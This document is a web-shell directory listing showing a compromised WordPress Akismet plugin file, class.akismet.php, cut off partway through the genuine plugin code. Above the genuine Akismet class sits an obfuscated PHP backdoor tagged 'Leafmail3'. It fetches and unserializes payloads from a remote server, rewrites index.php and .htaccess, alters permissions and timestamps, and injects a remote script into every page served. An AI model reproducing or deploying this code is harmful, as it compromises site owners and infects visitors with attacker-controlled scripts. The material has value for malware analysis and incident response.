AlkantarClanX12
Current Path : /home/thanudqk/shenpokertour.com/wp-content/plugins/akismet/ |
Current File : //home/thanudqk/shenpokertour.com/wp-content/plugins/akismet/class.akismet.php |
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php class Akismet { const API_HOST = 'rest.akismet.com'; const API_PORT = 80; const MAX_DELAY_BEFORE_MODERATION_EMAIL = 86400; // One day in seconds public static $limit_notices = array( 10501 => 'FIRST_MONTH_OVER_LIMIT', 10502 => 'SECOND_MONTH_OVER_LIMIT', 10504 => 'THIRD_MONTH_APPROACHING_LIMIT', 10508 => 'THIRD_MONTH_OVER_LIMIT', 10516 => 'FOUR_PLUS_MONTHS_OVER_LIMIT', ); private static $last_comment = ''; private static $initiated = false; private static $prevent_moderation_email_for_these_comments = array(); private static $last_comment_result = null; private static $comment_as_submitted_allowed_keys = array( 'blog' => '', 'blog_charset' => '', 'blog_lang' => '', 'blog_ua' => '', 'comment_agent' => '', 'comment_author' => '', 'comment_author_IP' => '', 'comment_author_email' => '', 'comment_author_url' => '', 'comment_content' => '', 'comment_date_gmt' => '', 'comment_tags' => '', 'comment_type' => '', 'guid' => '', 'is_test' => '', 'permalink' => '', 'reporter' => '', 'site_domain' => '', 'submit_referer' => '', 'submit_uri' => '', 'user_ID' => '', 'user_agent' => '', 'user_id' => '', 'user_ip' => '' ); public static function init() { if ( ! self::$initiated ) { self::init_hooks(); } } /** * Initializes WordPress hooks */ private static function init_hooks() { self::$initiated = true; add_action( 'wp_insert_comment', array( 'Akismet', 'auto_check_update_meta' ), 10, 2 ); add_filter( 'preprocess_comment', array( 'Akismet', 'auto_check_comment' ), 1 ); add_filter( 'rest_pre_insert_comment', array( 'Akismet', 'rest_auto_check_comment' ), 1 ); add_action( 'comment_form', array( 'Akismet', 'load_form_js' ) ); add_action( 'do_shortcode_tag', array( 'Akismet', 'load_form_js_via_filter' ), 10, 4 ); add_action( 'akismet_scheduled_delete', array( 'Akismet', 'delete_old_comments' ) ); add_action( 'akismet_scheduled_delete', array( 'Akismet', 'delete_old_comments_meta' ) ); add_action( 'akismet_scheduled_delete', array( 'Akismet', 'delete_orphaned_commentmeta' ) ); add_action( 'akismet_schedule_cron_recheck', array( 'Akismet', 'cron_recheck' ) ); add_action( 'comment_form', array( 'Akismet', 'add_comment_nonce' ), 1 ); add_action( 'comment_form', array( 'Akismet', 'output_custom_form_fields' ) ); add_filter( 'script_loader_tag', array( 'Akismet', 'set_form_js_async' ), 10, 3 ); add_filter( 'comment_moderation_recipients', array( 'Akismet', 'disable_moderation_emails_if_unreachable' ), 1000, 2 ); add_filter( 'pre_comment_approved', array( 'Akismet', 'last_comment_status' ), 10, 2 ); add_action( 'transition_comment_status', array( 'Akismet', 'transition_comment_status' ), 10, 3 ); // Run this early in the pingback call, before doing a remote fetch of the source uri add_action( 'xmlrpc_call', array( 'Akismet', 'pre_check_pingback' ), 10, 3 ); // Jetpack compatibility add_filter( 'jetpack_options_whitelist', array( 'Akismet', 'add_to_jetpack_options_whitelist' ) ); add_filter( 'jetpack_contact_form_html', array( 'Akismet', 'inject_custom_form_fields' ) ); add_filter( 'jetpack_contact_form_akismet_values', array( 'Akismet', 'prepare_custom_form_values' ) ); // Gravity Forms add_filter( 'gform_get_form_filter', array( 'Akismet', 'inject_custom_form_fields' ) ); add_filter( 'gform_akismet_fields', array( 'Akismet', 'prepare_custom_form_values' ) ); // Contact Form 7 add_filter( 'wpcf7_form_elements', array( 'Akismet', 'append_custom_form_fields' ) ); add_filter( 'wpcf7_akismet_parameters', array( 'Akismet', 'prepare_custom_form_values' ) ); // Formidable Forms add_filter( 'frm_filter_final_form', array( 'Akismet', 'inject_custom_form_fields' ) ); add_filter( 'frm_akismet_values', array( 'Akismet', 'prepare_custom_form_values' ) ); // Fluent Forms /* * The Fluent Forms hook names were updated in version 5.0.0. The last version that supported * the original hook names was 4.3.25, and version 4.3.25 was tested up to WordPress version 6.1. * * The legacy hooks are fired before the new hooks. See * https://github.com/fluentform/fluentform/commit/cc45341afcae400f217470a7bbfb15efdd80454f * * The legacy Fluent Forms hooks will be removed when Akismet no longer supports WordPress version 6.1. * This will provide compatibility with previous versions of Fluent Forms for a reasonable amount of time. */ add_filter( 'fluentform_form_element_start', array( 'Akismet', 'output_custom_form_fields' ) ); add_filter( 'fluentform_akismet_fields', array( 'Akismet', 'prepare_custom_form_values' ), 10, 2 ); // Current Fluent Form hooks. add_filter( 'fluentform/form_element_start', array( 'Akismet', 'output_custom_form_fields' ) ); add_filter( 'fluentform/akismet_fields', array( 'Akismet', 'prepare_custom_form_values' ), 10, 2 ); add_action( 'update_option_wordpress_api_key', array( 'Akismet', 'updated_option' ), 10, 2 ); add_action( 'add_option_wordpress_api_key', array( 'Akismet', 'added_option' ), 10, 2 ); add_action( 'comment_form_after', array( 'Akismet', 'display_comment_form_privacy_notice' ) ); } public static function get_api_key() { return apply_filters( 'akismet_get_api_key', defined('WPCOM_API_KEY') ? constant('WPCOM_API_KEY') : get_option('wordpress_api_key') ); } /** * Exchange the API key for a token that can only be used to access stats pages. * * @return string */ public static function get_access_token() { static $access_token = null; if ( is_null( $access_token ) ) { $request_args = array( 'api_key' => self::get_api_key() ); $request_args = apply_filters( 'akismet_request_args', $request_args, 'token' ); $response = self::http_post( self::build_query( $request_args ), 'token' ); $access_token = $response[1]; } return $access_token; } public static function check_key_status( $key, $ip = null ) { $request_args = array( 'key' => $key, 'blog' => get_option( 'home' ), ); $request_args = apply_filters( 'akismet_request_args', $request_args, 'verify-key' ); return self::http_post( self::build_query( $request_args ), 'verify-key', $ip ); } public static function verify_key( $key, $ip = null ) { // Shortcut for obviously invalid keys. if ( strlen( $key ) != 12 ) { return 'invalid'; } $response = self::check_key_status( $key, $ip ); if ( $response[1] != 'valid' && $response[1] != 'invalid' ) return 'failed'; return $response[1]; } public static function deactivate_key( $key ) { $request_args = array( 'key' => $key, 'blog' => get_option( 'home' ), ); $request_args = apply_filters( 'akismet_request_args', $request_args, 'deactivate' ); $response = self::http_post( self::build_query( $request_args ), 'deactivate' ); if ( $response[1] != 'deactivated' ) return 'failed'; return $response[1]; } /** * Add the akismet option to the Jetpack options management whitelist. * * @param array $options The list of whitelisted option names. * @return array The updated whitelist */ public static function add_to_jetpack_options_whitelist( $options ) { $options[] = 'wordpress_api_key'; return $options; } /** * When the akismet option is updated, run the registration call. * * This should only be run when the option is updated from the 